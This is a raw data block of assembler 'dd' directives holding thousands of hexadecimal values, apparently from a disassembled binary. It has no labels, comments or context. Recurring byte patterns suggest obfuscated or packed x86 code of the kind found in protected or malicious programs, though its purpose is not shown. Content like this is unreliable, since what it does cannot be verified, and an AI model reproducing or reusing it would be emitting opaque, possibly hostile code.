		dd 7475389Dh, 891C8DD7h, 3B1E7D84h, 1198A605h, 0B89E14E8h
		dd 932F1945h, 2E0E4944h, 72E403FFh, 251C6348h, 0A1B9D403h
		dd 0FB324C9Fh, 0BF89D528h, 754B116Ch, 2A1E4796h, 0DEA25347h
		dd 0ED9FAD38h, 6094EB69h, 0EE880FFEh, 967D9788h, 3Ch, 0E7D98130h
		dd 9CA0B904h, 0FBCF644Fh, 4E99A3B7h, 0D7341053h, 0F89C424Bh
		dd 1EADA81h, 0EBC03ECBh, 0DAAE1794h, 0FCF16924h, 0EBC05ED0h
		dd 932F3394h, 0D9F37F1Ah, 1AB7D96h, 37000000h, 6E5DB81h
		dd 80ACB9BBh, 94EBC0EEh, 0F463FF63h, 30F9DF99h,	53B1E7Dh
		dd 1065BA6h, 0F886655Bh, 8FA48F5Ch, 4FF634BBh, 1F21377Bh
		dd 0D51A6AE3h, 0D9277E8Ah, 302E8AC6h, 0EACC84DBh, 0B197D12Eh
		dd 39EA765Ah, 0AA836D3Fh, 0B690D0D6h, 7D5B1D7Ah, 371153AEh
		dd 0ECD085D4h, 3F195B36h, 97B1B3CEh, 0E8810C1Bh, 0C372AA05h
		dd 630F8A03h, 1B776BD6h, 178h, 0D21F6FC7h, 0D89BF685h
		dd 78FADA2Fh, 1DB96F9Ch, 5779B0CEh, 8AC65D52h, 0DB831E2Dh
		dd 527C02E9h, 6D3E41D8h, 0BA11ADADh, 0CFCBED67h, 3596B0B0h
		dd 0D1E67B16h, 3E4129C3h, 0A6C25C6Dh, 597FF645h, 0B3B5CC3Dh
		dd 7EE73695h, 0A2C248Ah, 5A5D098Eh, 5201776Ch, 0CD000000h
		dd 54D6E271h, 2994EBC0h, 0F847F831h, 37316CFBh,	0A077BA11h
		dd 0BD326E90h, 0C34EBFDBh, 0EBE15BB5h, 1BF06E14h, 0EBE13BB5h
		dd 0BFDA6514h, 3545A69Ah, 0DD774BF4h, 0CAD6016Eh, 94EBE140h
		dd 3A29E575h, 0DCh, 0C4B0E897h,	2B5962BEh, 0F9300A4Ch
		dd 4F1271DDh, 2F9FB079h, 2A8795C2h, 498AC6DBh, 3B1CAEBAh
		dd 0E9716D3Fh, 0EDD7D20h, 2A0C4443h, 3170B9C1h,	3FE1C237h
		dd 0F06343BBh, 53F5854h, 0F685C823h, 0D680C49Bh, 6D3FC154h
		dd 0D8F83129h, 6D3FDE4Bh, 7D31152Eh, 6381EFBh, 0EE7995A5h
		dd 9BA9AEB3h, 6D3FC011h, 8D5EFA64h, 0C7463CEDh,	0AEED7A77h
		dd 0FA1594AAh, 0EE472EEh, 4ACE373h, 0A5D07A2Eh,	7793B5AAh
		dd 2E5DF0DBh, 1E2A7688h, 674F6E6Ch, 440E79E1h, 0D5EB6E68h
		dd 373170B9h, 0EC67BA11h, 0B89CE3C8h, 0DD05A7B5h, 0E678674Fh
		dd 8EB7614Ah, 5F61F4BAh, 7054C9C3h, 0C00F64D4h,	8B9982C5h
		dd 674FDDE1h, 0BF6E8A94h, 6A760590h, 674FDDC0h,	6C64A5B5h
		dd 797EF9ECh, 993DF961h, 85D21F6Fh, 82C69BF6h, 0E4C5850Bh
		dd 0D6488ADAh, 88AEA6F5h, 5771F30Ch, 36335874h,	0CB6420E0h
		dd 97B1B3F7h, 5144FC1Bh, 9016A943h, 391DC51h, 1314FFAEh
		dd 0AA019D39h, 4E68E8A7h, 0D52CDD7Dh, 0A751BA92h, 6CE4CABEh
		dd 37314E4Ah, 393BA11h,	87000000h, 0DC817A5Eh, 84BC03E8h
		dd 6DF249A2h, 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h
		dd 4A0E6DBEh, 15489774h, 5608D833h, 0C6815E54h,	4, 8704EE83h
		dd 685C2434h, 6B83h, 68243C89h,	1C27h, 68240C89h, 12EEh
		dd 0B9240C89h, 62F1C4Bh, 8159CF89h, 4ECh, 24248900h, 4240483h
		dd 0BF575759h, 23AB79D8h, 4247C29h, 8418F5Fh, 0D8084181h
		dd 8B23AB79h, 8950240Ch, 405E0h, 0C0830000h, 24048704h
		dd 243C8B5Ch, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0FC5E5BE9h
		dd 0DD9E18FFh, 0BCF94A75h, 0D28985h, 2E724824h,	2F20DFB8h
		dd 0FFC50306h, 41FF7DE0h, 0C13836Fh, 0EFA5477Ah, 0F2BC123Ah
		dd 1867482Ah, 98110019h, 0FCC3FA4Dh, 0D225C27Ch, 0D1E6D966h
		dd 5894B040h, 0AF50192Ah, 89C7230Dh, 6DC1E01h, 0EC73A07Bh
		dd 6BA7BE07h, 0B1F24129h, 0E6ADF14Ch, 9AE28E3Fh, 0C1113238h
		dd 93129D5Ch, 8BC18B30h, 2B288DBDh, 4EB06h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 5572C353h, 16BE695Dh, 6A29CC09h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0E917C356h, 0Fh, 0F3355722h,	9666EDABh, 0F3D5898Eh
		dd 8D0419CBh, 2B2FC185h, 3DB53106h, 90062B24h, 0D99779BFh
		dd 5E525077h, 820F90h, 6A000000h, 0EF816600h, 6ABE5Eh
		dd 4BE78166h, 1982BECEh, 858D702Fh, 62F231Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C6C35242h, 88D4749Dh
		dd 0DD9D013Ah, 83062B32h, 0BD8B05C0h, 62B11DDh,	50FA8B90h
		dd 0BE857h, 531D0000h, 9EA0BE71h, 719CB995h, 8B0FD1h, 5F000000h
		dd 0FE8B905Eh, 8A0F006Ah, 5, 2330C7BEh,	60006A47h, 9E8h
		dd 70186D00h, 7F6D2527h, 0C2808446h, 0CBA5BA9h,	617AADA4h
		dd 34E195FFh, 0BD23062Bh, 62B3435h, 6DB58Bh, 9D8D062Bh
		dd 62EA6AAh, 0D3FFF98Bh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0EBC35747h, 8D01B373h, 62B26FDh, 1E0D85FFh
		dd 4FE9062Bh, 0E8000007h, 0
		dd 24ED815Dh, 6A062F23h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0D3E4C353h,	2B01B589h
		dd 0BD81062Bh, 62B2909h, 7D0h, 114860Fh, 8BF50000h, 2B00759Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 526D7434h, 35A9B52Bh, 815E062Bh,	100E3h
		dd 0FFBF0F00h, 850FDB0Bh, 7Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 6CC35141h, 0F93C4667h, 0BA0E072Eh
		dd 0C9CE8166h, 6880FB1h, 89000000h, 2B1851BDh, 0CFBD8306h
		dd 62F21h, 13840Fh, 9520000h, 2B056D8Dh, 4DE95F06h, 3000000h
		dd 2B0B79BDh, 0CF85C706h, 1062F21h, 0F000000h, 0B8Eh, 6E900h
		dd 113E0000h, 655AB646h, 46E78166h, 22E907h, 85C70000h
		dd 62F21CFh, 0
		dd 0CE8h, 720D4D00h, 0D6DA2821h, 53200BF2h, 29BD8BEAh
		dd 5E062B09h, 759D8Dh, 9D89062Bh, 62B17FDh, 0FEFF2381h
		dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 181606C3h, 959BE513h, 274DBD8Bh, 8C66062Bh
		dd 0D5BD8BDBh, 0F6062B01h, 840F04C3h, 2Ah, 0D8DB58Bh, 95FF062Bh
		dd 62B3569h, 67F508BEh,	8B665052h, 240489F8h, 6810Fh, 85090000h
		dd 62B1AA1h, 0ED1B523h,	0C5E9062Bh, 0B0000003h,	0D5958900h
		dd 0E6062B16h, 0FABE6670h, 6A71E479h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 667BC356h
		dd 0F3993BFh, 6BAD8B6h,	66000000h, 0F68CF781h, 0DF81C38Bh
		dd 347FDEAh, 5704E8C1h,	5FF3B70Fh, 0F5B50B51h, 5E062B17h
		dd 6AE2F766h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 50DBC351h, 66B7D1B4h, 0F277F681h
		dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0F3E7F8C3h, 1C8950DDh, 57006A24h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0FF79D19Eh
		dd 2B2909B5h, 8E906h, 43C0000h,	23CE08C1h, 95FFABE5h, 62B2945h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9C35747h
		dd 51F573D5h, 0C07F17D4h, 24B9B589h, 0B0062Bh, 99958957h
		dd 5F062B01h, 7E870E6h,	0FB000000h, 0D9A5918Dh,	0BE66B051h
		dd 0E45E5285h, 6E871h, 6B050000h, 0F878F846h, 11E860h
		dd 8F3C0000h, 905C7BD9h, 8065A1D7h, 0A6308200h,	5A224D9Ah
		dd 613C5E61h, 276830Fh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 18297EC3h, 5FF952ACh
		dd 6AD8B60Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 5770C352h, 0ACDDFF73h,	0CF816613h
		dd 6BA4C8Dh, 89000000h,	2B1865B5h, 0DDB58B06h, 8B062B34h
		dd 56006AC3h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0C1BD8BDCh, 8B062B09h, 2B2FB5B5h, 4E8C106h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0BDC35040h
		dd 60767591h, 123F88BFh, 6AE2F766h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 3CFEC356h
		dd 896C7171h, 2B2EE9B5h, 0BED82B06h, 76C68FE8h,	55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0CDF7819Fh, 0F1261FEh, 0D5BEF7B7h, 2B4ED040h, 65880FD8h
		dd 0F000001h, 2086h, 13E96000h,	9000000h, 4FC1B5BBh, 84F299FFh
		dd 23F0D2D9h, 0EC6EB4E7h, 0BD030BDDh, 62B2179h,	7B961h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0FC327BC3h, 2A3D9D31h, 0C183062Bh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0CCE1E511h, 7E89D6Ah, 0D1000000h, 0BCB4CD35h, 3B5E80B6h
		dd 0DD860FD9h, 66000000h, 0C1F6D98Ch, 0AB840F04h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0BD66C350h, 23D987C1h, 2B118DB5h,	0F1BD8B06h
		dd 29062B2Bh, 2B2C7595h, 6995FF06h, 89062B35h, 2B297995h
		dd 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 20497AC3h, 863241E1h, 0BD0BA1B8h,	62B1AA5h
		dd 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 40E536C3h, 0EA9F4D99h, 816069DDh,	0AA09B9D2h
		dd 343D6179h, 0F000008h, 986h, 0F38B6600h, 27E9h, 0C08BFC00h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0E2C35747h
		dd 0BD337EC1h, 62B1229h, 0D88BC38Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0D1C35141h,	2E05A293h, 8B52449Bh
		dd 2B1F5DB5h, 85C75F06h, 62B2AE5h, 1835EFBDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6CC35242h, 81C0C0D4h
		dd 0F34483D6h, 0E8C08B4Ch, 13h,	4AF39ED6h, 4BAB297h, 146BE337h
		dd 0F77DAFCCh, 66E43A18h, 0BF71DF81h, 398D895Fh, 81062B05h
		dd 2B2909BDh, 7D006h, 12850F00h, 89000000h, 2B0891BDh
		dd 985FF06h, 8B062B29h,	2B2715BDh, 9B5FF06h, 6A062B29h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 7D43C350h, 0AD9490A3h, 95FF4591h,	62B2945h
		dd 1E45BD8Bh, 6A90062Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 6D06C356h, 820F36E2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 3C35545h
		dd 0BD8BB5D5h, 62B2979h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0B7C35343h, 352DB58Bh, 0F50062Bh, 280h
		dd 5F616000h, 0A880Fh, 5E90000h, 3000000h, 0EF61DABh, 0A0DBD03h
		dd 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0D135CDC3h, 7B0625C6h, 0B70F5963h, 54BF66F7h
		dd 69BD8B38h, 0BE062B21h, 57D633CEh, 38F0Fh, 8B660000h
		dd 0BD8B50FAh, 62B2FB5h, 1CE1BD29h, 0F5E062Bh, 8C0FF9BFh
		dd 0
		dd 21A1B58Bh, 9529062Bh, 62B11D5h, 0D895EF81h, 8B60145Ch
		dd 2B0A118Dh, 0D8BF0F06h, 35B58B61h, 0E9062B1Bh, 11h, 5C282323h
		dd 0F7B41ECFh, 8E6C7B49h, 47B4AE07h, 0F8B1E9CDh, 6A60FFFFh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 53B1C355h, 0D7852A65h, 9C28637Ch,	0FEB9F78Bh
		dd 6AFFFFFFh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 42ADC357h, 1F598D21h, 6A062Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8D0F62C3h, 6, 79B58Bh, 8D21062Bh, 62B0AA1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0B8C35040h, 0E9D88B66h
		dd 11h,	2A9AC574h, 0B65E68C4h, 80880AA2h, 7715870Dh, 598D8BF3h
		dd 6A062B1Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0D3D1C353h, 0E8978FDAh, 0Eh, 0E767C34Eh
		dd 563DF788h, 1622732Ch, 9D0B849Ch, 62B0ACDh, 1E1835Fh
		dd 32850Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 150424h, 55450000h, 294C23C3h, 2B21199Dh, 51858B06h
		dd 0F062B11h, 383h, 0D88B6600h,	0AA18D8Bh, 14E8062Bh, 0
		dd 0BB1D4EDBh, 0D0EE3279h, 0A621C810h, 0B095CFB9h, 0FA53405h
		dd 835AC3B7h, 850F01E1h, 30h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 8EC35545h, 3363B50Dh, 0E5847EB2h
		dd 68A0Fh, 858B0000h, 62B1CA9h,	810F6061h, 6, 24458589h
		dd 0FEB9062Bh, 6AFFFFFFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 33DFC355h, 8D21BC8Eh
		dd 62B0B6Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	47C35343h, 0CBA81656h, 9CECFFBCh, 0F18D217Ah, 6A062B1Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 7958C351h, 32918D29h, 8D8B062Bh, 62B0B6Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A3C35646h
		dd 83F28B28h, 850F01E1h, 1Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 53C35040h, 1BF18D8Bh, 6A062Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0CE22BBC3h, 66D88B66h, 835759BFh, 850F01E1h,	6, 1599D89h
		dd 6061062Bh, 1ADDB589h, 0FEB9062Bh, 6AFFFFFFh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 2D28C355h, 0F12C3CEBh, 33254EB3h, 2B18DDBDh,	0C98D2106h
		dd 66062B17h, 0DAC781h,	758D21h, 12E9062Bh, 32000000h
		dd 433CD04Ah, 67B3D85Ch, 0ACC4AED7h, 9C688288h,	0C98D8B16h
		dd 6A062B17h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0B29BC356h, 1E18376h, 1E850Fh
		dd 0E9600000h, 0Dh, 211BEF4Bh, 606DACF7h, 78755BCCh, 0B58B604Fh
		dd 62B0ED1h, 61615E56h,	758D8Bh, 13E8062Bh, 0BA000000h
		dd 30C7B338h, 0B160A8B5h, 0B9EA63B6h, 5D8E22FBh, 0F0B02154h
		dd 1E1835Bh, 1F850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 92F9D8C3h, 6A6061F9h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0C379C351h, 7E878h, 39080000h, 9DB3CE98h
		dd 0EA81665Fh, 0B95E832Ch, 0FFFFFFFEh, 4D8D21F5h, 66062B0Dh
		dd 0F99E8BEh, 8D21C7B7h, 62B2AE5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0ACC35141h,	0FB8B6619h, 28898523h
		dd 8D8B062Bh, 62B0D4Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0F1C35141h, 2D24C345h, 0FE3E74AFh, 0F01E183h
		dd 685h, 0C9858900h, 8B062B18h,	2B2AE58Dh, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 958901C5h, 62B2C99h,	0F01E183h, 0E85h, 9D2B6000h, 62B1789h
		dd 1B1D9589h, 6161062Bh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 8AED87D5h, 0F6812CF8h
		dd 73ED8178h, 290985C7h, 7D0062Bh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0FC644CC3h
		dd 5CC281A9h, 614C6E5Fh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 15C35646h, 84B6A87Bh,	989813DDh, 6107EBE7h
		dd 0E99Dh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 689C5AC3h, 99029E6h, 2B00B1BDh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 3D6E6704h, 8BEF2AC7h, 8F4FEBC1h,	0ABFA251Ch
		dd 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h, 27CE1BF5h
		dd 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh,	545F00A6h
		dd 0EA1A0046h, 0D5A3h, 199C0000h, 0FEC9h, 0FBFE47h, 0B4870000h
		dd 202352DDh, 339C9ED9h, 43E977E7h, 0F000011h, 481h, 8BBF6600h
		dd 1BD83F5h, 62B0Ah, 2E850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0B8BDE0C3h
		dd 0
		dd 11358D03h, 4C2062Bh,	0D18B6600h, 6AC08Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0EDBF6BC3h
		dd 0C3563A32h, 1F9BD83h, 7500062Bh, 89BD8309h, 62B16h
		dd 53501374h, 0D0B8C08Bh, 8D000004h, 2DBD499Dh,	5BD3FF06h
		dd 89BD8358h, 62B16h, 53501174h, 4D0B8h, 969D8D00h, 0FF062DBCh
		dd 0F5585BD3h, 81667BB2h, 8B6AF3E1h, 0E1958BC0h, 8D062B16h
		dd 2F2FF685h, 0C7816606h, 5090FA88h, 0FD78B52h,	0F525031h
		dd 5AEA8A31h, 50585A58h, 6A905F53h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A3C9C352h
		dd 9BC281FCh, 8D5C5BD3h, 2F2FB385h, 0D9BD2306h,	90062B1Bh
		dd 0AD78B966h, 6A9050h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 770545C3h, 8BC1F563h, 2B24098Dh
		dd 6195FF06h, 1062B1Ch,	2B2E8DB5h, 24448B06h, 56006A04h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0D0EDC5D9h, 8589D6D9h, 62F2FDEh, 2C118501h, 448B062Bh
		dd 85890824h, 62B05F5h,	2FF28589h, 6E9062Fh, 0E6000000h
		dd 0DB1458D0h, 69BD83E2h, 62B19h, 109850Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 2604CBC3h, 61DAE570h, 8D336169h, 62B0159h, 332D85C6h
		dd 6A47062Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 8D44C355h, 0B160FCB4h,	256861EDh
		dd 66BCD745h, 481D18Bh,	0C362AD24h, 57006A17h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 60CD9A26h
		dd 0BD8923B0h, 62B0619h, 14E961h, 0E5AC0000h, 4043809Eh
		dd 82BEC357h, 8592FD8Eh, 0FEEF888Fh, 0B5FF568Dh, 62B1BDDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0EFC35141h
		dd 139038D1h, 9E93Dh, 0FCBF0000h, 7C4BD77Ah, 8D6DB717h
		dd 2E83EB85h, 9D958906h, 0FF062B35h, 0CE8D0h, 0EAB20000h
		dd 0E9D4E3D2h, 457B50C8h, 0BD8BC275h, 62B1CC5h,	6985895Fh
		dd 66062B19h, 837FF3BFh, 2B1B11BDh, 850F0006h, 0FDh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 30C35343h, 1E502580h
		dd 0FBA66F9h, 2D85C63Fh, 47062B33h, 19A1958Bh, 4E8062Bh
		dd 0E2000000h, 0E98A0FB5h, 8, 5008639Ch, 0A0F23D3Bh, 8BFE8B50h
		dd 60042444h, 0EE8h, 19D41300h,	0FE0BD3Fh, 45D9318Ch, 0F87D03Bh
		dd 8Ah,	13E95800h, 13000000h, 30A67613h, 0C9DCEDAh, 0CC2F8C8Dh
		dd 4CFF5C78h, 8B61E99Eh, 0D2B86000h, 614F0375h,	4244489h
		dd 8F0F58h, 0FF000000h,	2B1BDDB5h, 0CF8B6606h, 83EB858Dh
		dd 0BD09062Eh, 62B11A5h, 6E8D0FFh, 0DF000000h, 0A5594367h
		dd 35BA6611h, 0BD895F01h, 62B2B65h, 1B118589h, 6A062Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 833176C3h, 10E9h, 9907CF00h,	0A9C3386Ah, 7C3F52A4h
		dd 9FBB0B8Bh, 39BD8348h, 62B34h, 0FA850Fh, 0AE80000h, 29000000h
		dd 0EC6693D5h, 2D8D5F95h, 5DBD8B3Eh, 5F062B27h,	332D85C6h
		dd 0E956062Bh, 7, 1E89F9F1h, 0E80FAA4Eh, 4, 0D41F6D39h
		dd 6E9h, 0CA64B200h, 50788360h,	8BD38B66h, 0B9042444h
		dd 32886487h, 4489008Bh, 1ABF0424h, 582E0A48h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0BAC35040h, 0DDB5FFD1h
		dd 0E9062B1Bh, 0Dh, 0AC5083B8h,	0DAC5B4F4h, 0D377F541h
		dd 2800FA0h, 8A000000h,	0EB858DF5h, 6A062E83h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 933AC357h, 0F577075Dh, 0FFF5C34Dh, 0BA6660D0h, 2DBEBF45h
		dd 6151C518h, 34398589h, 6A062Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0BD69F5C3h, 80809DFAh
		dd 0B529C5EEh, 62B2A9Dh, 332D85C6h, 686C062Bh, 7AFB01E3h
		dd 37BA5250h, 0F02C05Fh, 5AF88B31h, 24048158h, 600A6EA0h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D3C35646h
		dd 98FA768Fh, 0BF660ED9h, 0B5FF663Ch, 62B0B1Dh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 97C35343h, 126C7F9h
		dd 3B035060h, 25858DA6h, 8B062B3Ch, 2B19D595h, 8BD0FF06h
		dd 2B203D95h, 0E2858906h, 9062F2Fh, 2B15DD8Dh, 0FEBD8306h
		dd 62F2Fh, 0E4850Fh, 14E90000h,	9A000000h, 8E55CD3Ch, 2874B18Eh
		dd 0D40674B7h, 0ECD17E2h, 0B17C3AC0h, 2D85C600h, 49062B33h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0FEC35242h
		dd 0FF7DE742h, 7E950E7h, 0F000000h, 46ED8BEEh, 6A68ED9Ah
		dd 8B6DAECDh, 240481FEh, 1E665C7Fh, 0C97348B9h,	1DB5FF0Fh
		dd 6A062B0Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 61B3C356h, 0A3752C80h,	9D9D8988h
		dd 60062B2Ah, 2979858Bh, 8D89062Bh, 62B1E81h, 25858D61h
		dd 66062B3Ch, 0D0FFC88Bh, 3D958B53h, 5F062B0Ah,	2FFE8589h
		dd 6A062Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 427F89C3h, 850F079Eh, 6, 0FC5BD31h, 46A062Bh
		dd 68E8D680h, 1E7C7C13h, 34815F52h, 7C6C1324h, 0CE8B661Eh
		dd 0B30BF668h, 13E9C5h,	65840000h, 0C5E47935h, 1DCF310Ah
		dd 4FF78A32h, 0E8820855h, 2404816Fh, 3A4DF40Ah,	10F1BD8Bh
		dd 6A062Bh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Ch,	0B1C35747h, 0AF4F7192h,	5AF05386h, 8BD08B66h, 2B26C595h
		dd 6195FF06h, 6A062B27h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 4615C357h, 5B376C72h
		dd 8E936h, 0F7E30000h, 3AAEF52Eh, 0BD89C0DAh, 62B1651h
		dd 2FEE8589h, 8B0F062Fh, 6, 1BDB529h, 85C7062Bh, 62F2FE6h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 4C35040h
		dd 57138235h, 0F5006AF9h, 4E8h,	1000000h, 1EBA6000h, 6140BFF0h
		dd 24448B50h, 8B32B604h, 0F606000h, 86h, 0FE8B6600h, 1DB96661h
		dd 4489613Ch, 0E9600424h, 6, 42CD23B6h,	0AE84ED4h, 9D000000h
		dd 0BCEFD641h, 0FDFF5323h, 0F3BB6659h, 58615AEFh, 352D9D89h
		dd 6050062Bh, 24048961h, 6ACB8B66h, 1995330Bh, 8D062B1Dh
		dd 2F2FBB85h, 81665006h, 5FCC22DAh, 0C966B950h,	4890C57h
		dd 0DD8D0B24h, 66062B08h, 95FFD18Bh, 62B1969h, 0C3816660h
		dd 0FBB79A85h, 0C5B58D61h, 81062F2Fh, 85E804D1h, 66605069h
		dd 661700BEh, 8961C38Bh, 0BD8B2434h, 62B180Dh, 4800F50h
		dd 66000000h, 892086BFh, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0CAF145C3h, 0B474BD6Bh
		dd 0FFC8E845h, 2B1B1195h, 0FC00B06h, 2E85h, 45B96600h
		dd 6C0E942h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 580BCAC3h, 13A17D09h, 0FF321F7Ch
		dd 51006AD0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0EFEC40F2h, 96A35B72h, 0D5D8D8Bh, 0B58B062Bh
		dd 62F2FEEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	6AC35545h, 7913F1Dh, 267BDBBBh,	0CE9h, 8A30F600h
		dd 273F43CDh, 0EDCAABDAh, 20468D4Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 6BC35545h, 58D8960h, 23062B0Fh
		dd 2B19A5B5h, 46A6106h,	0F98B6690h, 6A9050h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 4C546C3h
		dd 0F85151E8h, 2FFE95FFh, 6A062Fh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 64F683C3h, 9D6E07CEh
